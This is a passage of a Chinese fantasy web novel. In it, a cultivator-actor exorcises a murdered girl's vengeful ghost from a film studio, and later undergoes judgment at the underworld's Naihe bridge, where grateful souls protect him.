不准确的说直奔吴惟。
鹿鸣吓得赶紧去拉吴惟,但没有拉动,下一秒狂奔的马儿刹住了脚步,小心翼翼靠近吴惟闻了闻。
不是一匹,是三匹。
他就知道!因为不常见,之前一直忽略了马也是动物!
在众人还没有反应的时候,吴惟先发制马,赶紧每匹来了个摸摸头,安抚住它们…
然而…安抚不了一点好嘛!!!这群马儿们还是蹭了上来,又舔又蹭的。
不是他说,这个时候他需要一个楚星垣!
“你是德鲁伊吗?”于曼曼被震惊到了,之前只有闹闹还不明显,毕竟它本来就是吴惟养的,但是现在这马怎么回事?!
还不止一匹。
吴惟痛苦捂脸,赶紧挑了一匹翻身上马,他不管,反正位置高了就舔不到了。
摸摸马儿的鬐甲,换来两声小呼噜。
众人后知后觉感到惊叹,驯马师也啧啧称奇,“我在马场这么多年,也没遇到过这种情况。”
穹市有些马场的马是专门训练给剧组使用的,一般都比较温顺,谁知道这次竟然直接失控了,好在没有伤到人。
这画面,换成猫就特别眼熟了,千叠内心忍不住吐槽,该说真不愧是神子大人吗?
说起来神子大人这个称号还是当初吴惟cos时被调侃出来的,之后众人再次感叹班长这外号取得精准。
谁能想到呢,把吴惟当许愿龟调侃,结果碰到真的了,只要不太离谱的愿望总能许愿成功,后来又亲眼见证了吴惟是怎么被各种小动物亲近的。
他们当初以为吴惟的特点就是莫名其妙隐身呢,倒是没想到,某人毕业后才悄悄爆发了。
吴惟那场骑马戏挺成功的,只是后面人就惨了,根本拉不住往吴惟身边凑的马儿。
“咳…那个,小吴啊,要不你先回去?”曹来也很无奈啊,他也不想赶人的!
吴惟倒是无所谓,点头答应了,刚好去附近逛逛,带孰湖出来跑跑。
曹来松了口气,果然吴惟离开后,剧组进度就正常了。
.
吴惟回归剧组的时间已经是12月了,众人已经陆陆续续穿上了羽绒服。
于曼曼的汉服换下了,看到吴惟过来抬手打了声招呼,说实话她挺期待吴惟的打戏的。
天机的打戏一共有两场,一场是给徒弟做示范,和徒弟一起舞剑,另外一场是阻止徒弟魔化,需要吊威亚。
这部电视剧的开场,是由于异宝出世引发各方争夺引发的一系列故事,男主元修祈最开始一心想着找到自己的师父,无意之间卷入了这场纷争。
在争夺中,他发现异宝是个幌子,根本不是什么真东西,劝阻各方势力无果,只能加入,在中途认识了一些伙伴和敌人,凑齐了主角团。
在元修祈夺下“异宝”之后,一不小心被“异宝”钻了空子,控制了心神大开杀戒,最终被出现的师父制止了。
吴惟要演的,就是天机和元修祈打了一架之后,被元修祈捅了一刀,在他愣神之际,夺下“异宝”并燃尽所有修为毁掉它,天机本人也因此消散于天地间。
后面的剧情就是发现这一切都是魔族的阴谋,人魔大战开启,元修祈带领人界战胜魔族,把他们封印了回去。
那些就跟吴惟没有关系了,顶多有时候穿插一些回忆中会有他,但回忆的部分已经拍完了。
这段时间吴惟不能呆在剧组,导演分了个武术指导给他开小炤,吴惟学的还挺快,动作套路基本记住了,就差试着上威亚以及和鹿鸣对阵了。
因为是修仙,一大部分靠的是特效,动作都不是很难,真正打起来的部分也不多,挺轻松。
只不过吴惟不太确定自己信念感有多强,仙侠剧发动攻击的手势跟他们玄门天差地别,为了好看动作都很夸张。
而吴惟连捏诀都少,大部分时候是用意念,也就是说动都不带动的。
大概这也是之前和吴惟“敌对”的一方觉得他眼神可怕的原因了,毕竟他一般用眼神放大招…
不过听导演说只要眼神到位,一般动作看起来不会很尬,那么他要不现场用意念画符阵好了。
反正他手上的符阵都没有什么危险性,只要你不是作奸犯科,都不会被伤到。
吴惟有时候弧真的很长,做完妆造出来才发现剧组氛围有点奇怪,大家脸色都不太好。
吴惟凑到最近的鹿鸣身边,小声问了一句,“发生什么事了?”
“最近剧组不是丢东西就是有东西损坏,导演怀疑有贼,安了监控,”鹿鸣说了一半停顿了一下,脸上的表情实在有些一言难尽,“但是没有拍到人,不知道为何那些东西自己飞了。”
吴惟:“……”
“而且最奇怪的是,不知道为什么,最近大家精力都有些不济,经常精神恍惚,昨天甚至差点出事故。”
“还能因为什么,当然是有鬼怪作祟了。”一个熟悉的声音响起,吴惟还没回头,内心就开始吐槽起来,又特么是熟人,怕不是又出什么大事了!
“宿万先生。”吴惟很无奈地打招呼,反而是宿万那边看他很不爽,“哼”了一声没说话。
“你又认识?”曹来自己都觉得这个“又”灵性,不是你一个画画的,认识摄影师和演员就算了,怎么连大师都是熟人?
“不认识!”宿万恶狠狠地瞪了一眼吴惟,“我才不认识什么明明天赋很好,却不务正业跑来当明星的家伙。”
吴惟:“?”
他这是犯了什么天条了吗?
“哼。”宿万很不爽,上次在川省被吴惟身上那个判官下了面子,多少有点别扭,但现在他看不出来什么,还是扭捏着问了一句,“此地气息看起来还算正常,我暂时看不出来什么,你呢?”
这句话当然是问吴惟的了在场除了他也没有玄门人士的存在了。
其实他问的是婴灵,可惜婴灵不在,吴惟也只能靠自己,他朝常笑招了招手,待他过来之后,拉住他的手,闭上眼睛操控正气在整片空间中扫荡起来。
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在场众人:“?”
这是干嘛?手拉手?南通?
常笑看懂了周围人的眼神,嘴角不自觉抽搐。
这不看不知道,一看之下还真让吴惟发现点异样。
地上没什么问题,但地下,他看到了一俱人类骨架,以及一个他看不懂的阵法。
阵法的气韵和平常的气息是不一样的,这个阵法存在很久了,磨损很严重,吴惟记下阵图,借来纸笔画了起来。
“这是…”宿万脸色一变,“杀鬼阵!”
“还是不完整的杀鬼阵。”
吴惟不懂阵法,等着他解释。
宿万无语,“不是我说,你好好一个玄学天才,能不能认真学点东西!”
“可是我除了四大符阵和一些简单的印诀,其他也学不会啊。”吴惟很是无辜,他又不是没尝试过。
宿万也知道自己有些胡搅蛮缠了,天赋这个事谁也说不清。
但是之前被一个不学无术的家伙打脸真的很不爽,而且你不知道你的判官不知道吗?
“判官小姐生前也不是玄门,她对人间术法不是很懂。”
行叭。
宿万臭着脸解释道:“杀鬼阵顾名思义就是用来杀鬼的,但是一般人不会用,因为多少会沾染一些厉鬼的因果。”
“而这不完整的杀鬼阵更狠,它是钝刀子磨肉,要生生折磨死厉鬼使其不得超生,尤其是阵法外面还嵌套了聚灵阵…”
不用说,吴惟就听懂了言下之意,一边折磨一边补充,这是在养鬼。
不,应该说是养怨气。
“这么做图什么啊?”宿万不理解,吴惟也不理解。
虽然找到了问题的根源,但要让他们去解决,暂时还真没办法。
“导演,要不咱们先换地方?”鹿鸣听得一身鸡皮疙瘩,虽然听不懂他们在讲什么,反正就是很不吉利就对了。
鹿鸣虽然不信这些,但也觉得有些科学不能解释的东西还是存在的,比如一个地方比较邪门,这里就是。
曹来也想换啊,可是他们租金都付了,退了也拿不回来了,他想走资方那边也不会同意吧。
而且闹鬼这种事,以前没有,到他这别人也不会信啊。
“先离开吧。”吴惟冷静说道,“现在情况尚不明确,但可以确定的是留在这里必定会出事。”
“先停两天,或者先拍其他镜头。”
“那个…”有人默默举手说道,“我们好像出不去了。”
蓦然,天昏地暗,一阵阵肉眼可见的黑气从地下冒了出来,包裹住了所有人。
“啊——”
“万鬼自溃,下一刀神。天猷灭类,骸破明四。…九元煞童,蓬天蓬天,急急如含元太虚天蓬都元帅真君律令敕。”
宿万反应迅速,捏起法诀念了一长串灭魔咒,打散了周围的黑雾。
“这怨气太浓了。”宿万脸色苍白,“不行,我虽然知道的多一些,但更多的事,需要举行科仪才能做到。”
吴惟抬手,业火化为实质从掌中窜出,将众人包裹在内,他大喊一声,“都站起来,向人群靠拢。”
看到金色的火焰,众人心中的恐惧褪去一些,还能动弹的人赶忙依言相互聚拢。
“孰湖,救人。笑笑你先过来,我需要你的力量。”一声令下,孰湖冲了出去替下正在捞人的常笑,他见状迅速回到吴惟身边。
看到突然出现的人首马身的怪物,众人皆是一惊,想起是吴惟召唤出来的,才放下心来。
等众人齐聚,业火的范围缩小,吴惟这才喘了口气。
“现在怎么办?”宿万看着吴惟之前一系列的操作,现在是心服口服,没了之前的别扭,反而自觉听他指挥。剧组中皆是普通人,更是把吴惟当成救世主了。
吴惟叹气,他哪知道怎么办,这阵仗可不比天水高中小。
业火可以把怨气当做燃料是没错,但在他们天然相克。
相克就代表着对抗,业火虽然对怨气是有绝对的克制作用,但多到一定程度,也能熄灭业火。
就好像水能灭火,但也能被火蒸发干净。
更何况放出体外的业火需要他用灵识维持,吴惟能肯定,自己绝对坚持不到把怨气焚烧殆尽。
吴惟沉吟了一下,问道“风神大人,你能试试召唤风吗?”
风本身就是气体流动,怨气也是一种气,不知道能不能被吹散,虽然这样可能会影响到周边,但对他们来说,只要能找到一条生路,就可以向外面求援。
千叠没有废话,直接喊了一句,“风来。”
等了半天,他们也没感觉到有风,但怨气似乎淡了一点。
“有效!”吴惟稍微放松了一些,“千叠,别停。”
千叠扯着嗓子大喊:“风来!”
这声大喝,声如洪钟,风也更加猛烈,怨气一下被吹了个七零八落,火焰紧跟着闪烁起来。
就是这个时候!
“敕!”
一声令下,业火顺风而起,风助火势,稀疏的怨气能够很好的助燃,只一瞬,业火已成燎原之势。
宿万紧随其后,双手翻飞,掐着复杂的手印,口中念道:“天地自然,秽气分散,洞中玄虚,晃朗太元…凶秽消散,道炁常存。敕!”
.
57.第 57 章
半晌,分散各处的怨气几乎燃烧殆尽,吴惟松了口气,腿一软差点没跪下。
常笑眼疾手快把他捞了起来。
“呼…”一场危机就这么被解除了,有人掏出手机一看表,竟然才过去半个小时不到。
果然人在惊慌中,时间感官会无限拉长。
曹来身体僵硬,刚刚的恐惧还没有褪去,但看到一身白衣高深莫测的吴惟,似乎又有了点勇气。
啊,不愧是师尊,好有安全感。
他磨磨蹭蹭走到吴惟身边,小声问道:“小吴…哦不对,吴大师,这里事情解决了吗?”
吴惟抽了抽嘴角,什么大师,听着好诡异,算了不是说这个的时候,他只是焚烧了厉鬼大部分的怨气,但它本身还在阵中没有出来。
他扭头看向宿万,对方会意,“破阵的事可以交给我,虽然我不精通阵法,但破这种已经磨损的阵还是可以的。”
吴惟点头,“那就麻烦你了。”
说完毫无形象地坐到地上,孰湖哒哒哒跑到他身后蹲了下来,吴惟也不客气,直接靠在它身上。
吴惟双眼放空,意识又开始乱飘了,“人太多了,这保密工作好像不太好做。”
常笑:“你歇着吧,这不是你该考虑的。”
“嗯。”
众人陆陆续续恢复了精力,依旧聚在一起,没有怎么挪动,他们生怕添了什么乱,最后性命不保。
一些人看吴惟的眼神已经热切起来,至于他们在想什么,只有他们自己知道。
没一会儿,阵法破除,厉鬼带着冲天的怨气从中涌出,直奔宿万。
吴惟拉着常笑放出业火,把她团团围住。
他能感受到她身上的怨气都是自己的,这个聚灵阵和之前遇到的不一样,是常规的聚灵阵,而这些怨气全都是她自己修炼而成,和当初的宁淮差别很大。
她对怨气的控制能力比宁淮强很多,并且还拥有一部分理智。
厉鬼见自己出不去,便不在浪费怨气,直接收回,飘在原地冷冷地瞪着吴惟。
剧组众人因为被怨气侵蚀,运势很低,现在依旧没缓过劲来,也看到了厉鬼的模样。
这是一个女鬼,失去血色的脸上依旧能看出生前姣好的五官,但往身上看就会发现,她的身体一块一块的飘在空中,血肉模糊。
一些胆小的直接吓得惊叫起来,就连经常和厉鬼打交道的宿万脸色也变得很差,他是真的差点没吐出来。
唯二没有反应的人就是常笑和吴惟了。
常笑作为特种兵,面对的都是穷凶极恶的歹徒,该吐的早就吐完了。
而吴惟,因为炼化捆仙绳,金市那场大屠杀在他的梦里翻来覆去上演,惨烈程度更甚。
若不是他自我保护机制强大,或许早就被吓疯了。
一团白色的能量试探着慢慢靠近厉鬼,直到快要触碰到厉鬼的魂体时,她猛的一扑,将那团能量啃噬干净。
吴惟敏锐的察觉到她身上的怨气似乎有些消解,虽然很少。
吴惟心里突然有了点想法,他站起身来,看向人群中的演员们,用上了言灵,“诸位可以借我点力量吗?”
余清秋第一个反应过来,“怎么借?”
“语言是一种契约,只要你们同意,我可以使用。”只不过中间是有一定损耗的。
“我要借的是粉丝对你们表达喜欢产生的愿力,这种力量无法聚集就无法使用,哪怕我借走了也不会对你们产生影响。”
有人小声问道,“那你借走了,粉丝还会喜欢我们吗?”
“借走的不是喜欢本身,而是因为这种情感产生的能量,他们当然也不会受影响了。”
“我同意。”鹿鸣第一个支持。
“我也同意,只要小…大师能够早点解决问题就好。”
“我也…”
“……”
收到了大大小小明星们的愿力支持,吴惟也不藏私,一股脑喂给了厉鬼。
李忆彤不知道那些白色的能量是什么,她只觉得很温暖,看起来很好吃。
她一边警惕着带着怪物能够用金色的火焰伤到她的的怪人,一边疯狂吞噬四面八方涌来的能量。
渐渐的她感觉自己头脑似乎清醒过来。
感受着身上慢慢散去的力量一瞬间,李忆彤有些恐慌,这是那个怪人的阴谋,他一定是想用这个东西化解了自己的力量然后好消灭她。
然而然而不等她有什么过激动作,火焰便悄然褪去,一团白色的能量包裹住她,让她感觉到前所有未的安心。
这到底是什么?
“清醒了吗?”是那个怪人。
李忆彤没有说话,瞪着吴惟的眼神依旧很警惕。
“我知道你不信任我,但现在能帮你的只有我。”吴惟这个时候面无表情。
这还是吴惟第一次说这么霸道的话,他都有些不好意思了,但是面子上必须绷住。
“是选择把你的情况说清楚,让我帮你找当初杀害你的凶手,还是选择直接被我送去地府。”
连宿万都被镇住了,不是你小子这么直接的吗?生前过于惨烈的厉鬼回忆起过去会陷入疯狂的!
一人一鬼静静地对峙,千叠抽了抽嘴角,说了一句,“不然姑娘你先跟吴惟回去,报案的事之后再说?”
毕竟这里这么多人,她的情况一看就不好开口。
李忆彤没有理会,反而慢慢开口道:“我不认识凶手,这里是他的院子,我是被奸杀碎尸埋在地下的。”
倒不是她不在意了,若非吴惟借了足够的愿力来抵消怨气,让她变得平和下来,她早就失控了。
吴惟看了眼常笑,他比了个ok的手势。
不用说,这件事肯定是要上报的。
“我会帮你报案,细节之后再说,你得先跟我走,不可能把你就在这里伤害其他人。”
李忆彤直勾勾得盯着吴惟,不知道该不该相信面前这人,她已经不能相信任何男人了。
就在李忆彤专注思考要跟他走还是鱼死网破的时候,那个怪物接近了她。
李忆彤悚然一惊,正准备后退,没想到下一秒自己就被抱了起来,她恐惧地颤抖起来。
然而这个怪物没伤害她,只是把她高高举起,像哄孩子一样,嘴里发出嘤嘤地声音,抱着她转圈圈。
李忆彤有些呆滞,她想起小时候被爸爸抱着开飞机,就是被这样高高举起,当时她是什么感觉来着?
太久远了,记不清了。
李忆彤只觉得心脏的部位酸酸涨涨的,但并不是很难受。
原来她还有心吗?
孰湖见这个孩子心情依旧不好,像抱宝宝一样把她抱进怀里,嘤嘤地唱起了摇篮曲,时不时用脸颊蹭蹭她。
孰湖哄孩子手法学的很野,不管人类还是猫狗,或者是其他动物它都但凡见过都学了,动作做起来也有些不伦不类的。
但鬼和人不同,没有在外躯壳,也没有五感的干扰,对情绪的捕捉很敏感。
李忆彤自然很明显能从孰湖的动作中捕捉到一丝心疼。
她一个人在杀鬼阵下受了不知道多少年的折磨,为了冲击那个阵法坚持不懈地修炼,从来没叫过苦。
然而这一刻,她忽然很想哭。
吴惟叹了口气,也不再说什么,他又不会安慰人,而且看她的情况,就算想要安慰她也得找个女孩子吧。
“我来吧。”于曼曼看出吴惟的难处,站了出来,“同为女生,我想我去更合适?”
吴惟从空间里掏出一叠辟邪符递给她,“麻烦你了,万一她控制不住,用这个。”
“好。”
“等等,带我一个。”余清秋走到于曼曼身边,“我家里有妹妹,自认为比较会哄人。”
于曼曼点点头,把辟邪符分成两份,递给她一份,“那就一起吧。”
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这次闹鬼真是闹的轰轰烈烈,李忆彤被吴惟收到簪子里交给了特事局,她的尸骨被警方收敛。
剧组所有人被叫到一起签了份保密协议,好在剧组动静虽然大,但因为他们剧组比较穷,找的地方偏僻,没有人注意到。
这件事过去后吴惟摊了好几天才把他的戏份拍上,当天连杀青宴都没有参加,直接溜回临市了。
他怕再待下去,又要闹出什么幺蛾子,每次都给他整大的,实在扛不住。
说实话吴惟很不能理解,为什么他体内
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烧着业火这么苦逼嘻嘻的样子还要遇到这种事。
吴惟后来了解了一下案情,这件案子发生时间是21年前,凶手杀人埋尸之后没过多久就搬家,这块地被开工厂的人买了下来。
后来因为工厂接连出事,老板去请了大师去镇压厉鬼。
但其实那个时候李忆彤还没有成为厉鬼,工厂是个黑工厂,她是为了提醒那里的人才到处捣乱。
被镇压后工厂安宁了,她被关在地下日夜受苦。
没过多久,工厂因为消防不过关,工作人员又不懂得消防知识,一通操作下来,原本只是点着了点小火,一下子变成了火灾,把所有人困在里面烧死了。
那些人的尸体被运走,这里有空旷了起来,直到三年前,这里改造成影棚。
杀鬼阵在时光流逝下慢慢磨损,也是直到最近李忆彤才能把一部分怨气放出来,导演看到丢东西也是她夜间活动,寻找彻底掀翻杀鬼阵的方法无意间制造出来的。
而那天彻底爆发,是因为有人动了杀鬼阵一角,给她留出了足够她活动的空间。
这个有人,吴惟猜都不用猜,就能想到又是某个狗东西干的,只要人有恶念,他就能挑拨对方去做一些事情。
这是影棚那个地方出的事情,杀鬼阵已经被破,工厂老板已经死在了火灾里,当初那个大师也销声匿迹。
李忆彤这个仇若是去找凶手很难报,更恶心的是,杀人罪二十年后无法追究了,除非他二十年之内做过别的事。
李忆彤听说之后眼睛都变红了,还别说,那个凶手这二十年还真遵纪守法,干净的什么都查不到。
不过这只是人间法律,地府从不管鬼怪在合理的范围内复仇呢,至于这个合理,若是你超出了,不用地府出手,天道自会给你惩罚,根本不怕徇私枉法。
不过真要说,人间玄门一般也不会同意这种复仇的,但吴惟不一样,他有时候对公平的执着甚至到了固执的地步。
他把李忆彤带走了,理由是送她去地府,这个理由别人还真真不能反驳什么,毕竟只有他可以随时开鬼门。
带走李忆彤后吴惟给了她两个选择,自己复仇或者让他用因果符阵帮她,“自己复仇的话这个度需要你自己把握,”
“若是动用因果符阵,天道会按照祂的标准给你绝对的公平。唯一的坏处就是不能亲眼看着仇人遭报应。”
李忆彤考虑了很久,最终决定用因果符阵,她怕自己下手太轻,又怕自己下手太重。
听说在地府可以重新开始之后,她总要考虑自己,更何况还有一个迫害她的阵师,她连找到找不到。
“好,我会把因果符阵刻画在你魂体中,它消失了,就是你的仇报完了。”
“谢谢。”
“不客气。”
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吴惟和特事局的人说自己要送李忆彤去地府也不算说谎,他确实可以开鬼门,这是婴灵离开前给吴惟留下的钥匙。
晚间,吴惟把李忆彤送下地府,回去的路上接到常皓轩的求救信息。
这信息是从[里世界]发来的,是[里世界]开发的能够在结界内信号消失的情况下发出消息的插件。
距离不远,附近也没什么人,吴惟两人直接骑着孰湖飞奔而去。
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常皓轩整个人都是崩溃的,拎着手上的人一路狂奔,为什么他一个小废物要遇到这种事啊!
他们被困在一处空间中,无论走哪都出不去。
这人是他在山上救下的灵异主播,闲着没事干到荒山里探险,结果碰到一处古庙就进去了。
这人好几天没出来,他接到粉丝报案才带人前来,结果和其他人走散了,却遇到了这人。
他看到常皓轩之后一把鼻涕一把泪去说自己有多惨,要求常皓轩带他离开。
常皓轩当然得答应啊,他一个人民警察,保护群众是他的天职,结果这人一直在给自己添乱。
常皓轩实在忍无可忍了,直接把人劈晕了,再让他这么搞下去谁也出不去。
好在求救信息发出去了,希望附近有人能接吧。
他没想到这么巧,接他单的居然是吴惟,常皓轩瞬间觉得自己有救了。
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58.第 58 章
意识逐渐从混沌中清醒,周围的黑暗让吴惟感到熟悉又安心。
他好像又回到笔内空间了?
不对,婴灵带着判官笔离开了,自然也不会有空间给他用。
直到这时,吴惟的记忆才慢慢复苏。
他和笑笑一起去救他哥,然后…
他似乎被常皓轩捅了一刀。
他应该死了。
原来死亡是这种感觉吗?好像没什么感觉。
耳边的鬼哭声依旧,思绪像被猫抓乱的毛线团一样混乱不清。
“呦,你醒了~”声音从遥远的地方传来,吴惟意识才逐渐回归魂体。
他感受到四周像是一家古代客栈,客栈里人不是很多,坐在他正对面的年轻人穿了身现代装,托着腮看着他。
吴惟问道,“这是哪?”
“黄泉客栈,”对面的年轻人回答,“不,应该说是黄泉客栈第九十八分号。”
“来这里的都是三十岁以下枉死之人。”年轻人搓搓下巴,饶有兴趣地打量着吴惟,“真巧啊,你也是啊被人背叛了。”
鬼魂刚死的时候,魂魄上会带一点死前的特征,吴惟的伤很明显是从背后被捅了一刀。
而这人,伤口在额角,是钝器所致。
“不是背叛。”
他们进去的空间被幻术覆盖,常皓轩会捅自己应该是被迷惑了,看到了什么。
这已经是第三次了,希望笑笑别太难过吧。
还有孰湖。
应该不会吧,他们知道地府,知道他有功德还修了愿力,跟地府判官关系很好,不需要担心自己在地府受到什么不公的对待。
希望他们能理智一点。
程玉书有些惊讶,面前的人看不出有什么不甘,能被人从背后捅一了刀,还不是背叛?
而且为什么能这么平静接受自己的死亡呢?
“我们在这里做什么?”
“等着入城。”
程玉书对吴惟的好奇心更强了,这人是自己游荡到客栈的,没有任何拘魂使或者夜游神接引。
然而那些鬼差都像是没有看到他一样,任由他乱走,而他除了脑子混沌以外,一点事也没有。
众所周知黄泉路不太平,虽然平时有人带着装备清理道路,但还是会有一些以灵魂为食的东西从地里长出来。
拘魂使拘魂,是束缚,也是保护。
这人最后坐到了自己面前,一副浑浑噩噩的样子。
也是直到刚刚才清醒过来。
他原以为这么特殊的人应该什么都知道,却原来他真的什么都不懂吗?
难得遇到这么有趣的人,程玉书不介意多说点,“人死了之后会被鬼差带着从黄泉路一路来到这里,按照每个人死亡情况分配客栈。”
“这间客栈来的人,都是经历背叛枉死之人。”
“之后会有鬼差来接我们过奈何桥了。”
“听说奈何桥就像是一份功德簿,若是身上罪业过多,会被灼伤灵魂,并送入地狱。若是积累了功德,会被送去赏善司得到一系列补偿和奖励。”
“而如果只是没有大奸大恶也没有大功德的普通人过桥,几乎没有什么感觉,入城就是普通居民,可以在鬼城生活到进入轮回。”
“之后怎么样我就不清楚了,这些是来的时候拘魂使说的。”
“谢谢。”
“不客气。”
地府的时间和人间不同,或者说对时间的感受不同。
这里没有昼夜节律,有的只是永恒不变的黑暗,是以每个人对时间的感受都不是不同的,很混乱。
在程玉书话音落下的一刹那,接引的鬼差就踏进了客栈。
程玉书叹气,“终于来了,这都好几天了吧。”
程玉书说的好几天是他和吴惟交流过后的好几天,这人自从说完话就不理他了,像一座雕像一样坐在那里,一动不动。
鬼差招呼一屋子人排队跟着他离开客栈,没走多远,就到了一座金色的桥头。
“接下来请排队过桥,过桥之后你们该去哪里自然有人接引。”
众鬼沉默着踏上桥,一路上没有任何鬼发出声音。
吴惟沉默着走在最后,路过鬼差身边的时候,他看到鬼差朝他鞠了个躬。
他只是看到,内心没有一丝波动,很奇怪,来到这个地方所有的情绪都好像被剥夺了一样,就像他被天魔夺取意识时的感觉一样。
这就是死亡吗?
踏上奈何桥的一瞬间,吴惟感受到一股钻心的疼痛,从足底涌入四肢百骸。
不对,他没有四肢了,那股疼痛直冲灵魂深处,和被业火炙烤肉身时候不同,这次他避无可避。
“唔…”吴惟瞬间跪倒在地,灵魂似乎要被打散开来。
下一秒,浑身的怨气和功德冲天而起,交织呼应,游荡在附近的鬼差不约而同停步,向着奈何桥的方向行礼。
有游魂好奇,开口询问,便得到一个“代人受过”的答案。
吴惟可不就是带人受过吗?
捆仙绳在他身上,气机和他连为一体,奈何桥的审判机制,并不能区分他和捆仙绳,反而把他认成了坑害数万人的恶鬼。
程玉书一回头就见到这一幕,啧啧称奇,他就知道这人一定不简单,但如此混乱的气息,还真是壮观。
忽然,一道身影与他擦肩而过,急冲像奈何桥的方向,只是下一秒又倒飞了回去。
“明戈,你放开我!”程玉书目光随着那道身影定格了下来,这才发现,刚刚飞出去的是一个小女孩儿模样的判官。
小女孩儿面色焦急,却被另外一个高大的判官抱在怀里,“乖,别闹,你去能做什么。”
“可是吴惟他…”
“放心,凡有付出必得回报,他不会有事的。”
婴灵何尝不知道这个道理,地府和人间不同,这是一个事事讲究报偿的世界,是你的,不是你的都会分的很清楚。
哪怕是奈何桥,带着一身怨气走上去,它虽默认你是自愿代人受过的,降下惩罚时并不会区分你身上的气机是否属于你自己。
但若你问心无愧,定能安然度过,并且事后一定会得到足够的补偿。
曾经有些人试图钻这个空子去赚取功德,但地府的报偿机制本心也很重要。
那些为了功利目的度化人的灵魂虽然也能得到一定的好处,却和付出不成正比。渐渐的很少会有人做这种事了。
吴惟不知道这些,但婴灵最清楚他身上那些怨气从何而来,他若是安然通过,能够获得的奖赏可想而知。
但那可是数万的怨魂啊!
那种钻心蚀骨的痛,他怎么受得了!
奈何桥上,吴惟其实并没有像婴灵想象中的那么难熬。
他站在金城的大街上,周围来来往往的人们穿着上上个世纪的服装,街头巷尾有孩子挥舞着手上的报纸,喊着“卖报卖报”,黄包车车夫在人群中穿行,街边的小店有人在叫卖…
“客官,要来碗馄饨吗?”店小二打扮的少年从他身后走过来,脸上洋溢着热情的笑容。
吴惟有些懵,讷讷说道,“我没有钱。”
民国的货币应该是银元吧…而且就算是现在的钱,他也没有啊,毕竟手机又不会跟着灵魂下地府。
“没关系,不要钱,先生你救了我们,只是一碗馄饨而已。”
吴惟晕晕乎乎被领进馄饨铺子,热腾腾的馄饨很快被端了上来,一股浓郁的香气扑鼻而来。
吴惟食欲大动,他已经很久没有这样的感觉了,他的身体不好,从小就不太能吃肉,每次闻到肉香味都让他又馋又不敢吃,因为他吃两口就会腻了。
哪怕是后来,养好了肝,能够消化肉的油脂,他依旧会觉得很腻,虽然身体能消化了,但心里却不太能接受。
反正都死了,肉身也没了,应该不会在感觉到恶心了吧。
这样想着,吴惟打算放纵自己一次,一口馄饨下肚,吴惟愣住了。
他敏锐地从鲜嫩爽滑的口感中找到一丝奇异的味道,一种,醇香的感觉?
吴惟不确定,但他好像知道那是什么了。
是愿力。
一丝丝愿力化作一股热流,顺着食道流向四肢百骸,很舒服。
那么一瞬间,他想起自己应该在奈何桥上,被那呆板的机制审判。
吴惟快委屈死了,他又没做什么伤天害理的事情凭什么那么对他。
他望向窗外,这些来来往往的人们,路过他附近总会很有礼貌的像他点头打招呼。
之前意识模糊没有发现这一点。
这一刻他好像知道这些人是谁了,被捆仙绳炼化的怨魂。
那些曾经死在大屠杀下的人们。
原来自己曾经为了自救用业火焚烧捆仙绳的举动帮到了他们吗?
真好啊。
“客官快趁热吃吧。”小二笑眯眯地看着吴惟,他的眼中没有一丝恶意。
虽然这个人用火烧了他们,但非要论起来,什么样的
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痛苦他们没经历过呢。
屠杀之前是各种迫害,死后又是没日没夜的炼化。
反而是那团金黄色的火,像是劈开天地的雷光,将他们从混沌中唤醒,霸道地挖出他们灵魂中腐烂的部分,使得他们重生。
煌煌大日,不外如是。
这片街道是他们为报恩情为他编织的意识空间。
他们用意识筑起高墙,将审判的力量挡在结界之外,只要他们能坚持到审判结束,吴惟就不会再受一丝伤害。
这是他们唯一能为他做的。
吴惟似乎意识到了这一点,点点头,心安理得接受了这种馈赠。
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地府众人的时间感知本就有快有慢,只有互相之间有交流,才会同步。
对吴惟的审判时间不长,至少对于明戈来说是这样,但婴灵却仿佛过了几百年。
奈何桥上,怨气逐渐消弭,取而代之的是愈发纯粹的功德。
过了许久,最后一丝功德回归吴惟的魂体,明戈松了口气,放开怀里的婴灵。
甫一松手婴灵,这娃就“嗖”的一下窜了出去。
婴灵小心翼翼抱起昏迷不醒的吴惟,此时的他变得跟婴灵差不多大,小小的一团,蜷缩在正中央。
奈何桥的审判到底还是伤到了吴惟的魂体,而缩小不过是魂体的一种自我保护机制,因为小一点更加凝练,若是太过分散,容易往外逸散能量。
明戈慢悠悠跟过来,看着婴灵怀里的一团,眼睛一亮,“哎呀,又是个小可爱~”
婴灵翻了个白眼,“你们查察司那么闲吗?”
明戈摊了摊手,无所谓道,“是谁到现在还无法控制时间的速度呢?”
地府足够强的人是可以自我掌控时间感知力度的,可以随心将时间拉长缩短,不过这种掌控只能短时间内。
婴灵:“闭嘴吧你,我要带他回去了,再见。”
婴灵直接丢下明戈,驾着判官笔离开了。
“哎…热闹没了,回去干活。”她们查察司确实事情更多一些,哪像赏善司,世间恶灵总比善灵多。
倒不是说善良的人少,但是能善良到需要他们赏善司专门去赐福的人比做恶到极致的人少的多了。
毕竟做恶是在压低底线,而为善,却需要恒心。
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婴灵趴在空中,戳戳吴惟的脸,“他怎么还不醒。”
地府没有所谓的万有引力,只要你想象的到就可以随便起飞,他们现在所处的空间,是一处灵泉,当然也只是名字叫“泉”而已。
泉眼里喷出的是混杂着地气的清气,纯度适中,刚好可以很温和地滋补灵魂,吴惟就蜷缩在灵泉泡泡里。
这种泉眼名字叫蕴灵床,顾名思义,能够蕴养灵魂的床具。
在地府哪怕飘在空中都能睡,自然会衍生出各种和人间不同的小玩意,蕴灵床就是其中之一。
[等等看吧,他身上愿力很浓郁,应该是有什么东西护住了他的意识。]
有时候保护也是一种禁锢,在确定保护对象不会受到伤害之前,它是不会放他出来的。
婴灵愣了一下,随即想到一个可能,笑了起来,“算他们有良心。”
虽然嘴上这么说,但其实婴灵心里倒是挺佩服那些人的,从活着的时候就遭受了不公的待遇,直到死亡都不得安宁。
就算他们恢复意识冷眼旁观吴惟因为帮了他们代人受过,也不会有人说他们做错了什么。
很多时候痛苦会让人变得心冷,尤其是在遭受不公,凭什么受苦的就是自己呢?
但是他们没有。
他们为吴惟编织起来存放意识的空间,并不是不用付出代价的,他们需要替吴惟承受刑罚之苦。
真是不公啊,原本应该作用与加害者的刑罚,又落在了受害人身上。
婴灵叹了口气,拿过判官笔,功德不要钱一样撒在了吴惟身上,精准地落到了那数万灵魂身上。
不,不对,现在那团灵魂已经从数万个体,慢慢融合在一起。
那些灵魂各有各的残缺,连意识都不一定清晰,众多能量混杂在一起才能维持成形。
他们共用一个集体意识,慢慢成为一个完整的灵魂。
这些人属于余州,婴灵的小册子没有他们相关的记载,没有办法按照规则替他们赐福,只能先用功德帮他们稳住神魂。
集体意识到底不如一个完整的意识来的稳固,如今还未定型,他们随时都有可能散开。
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59.第 59 章
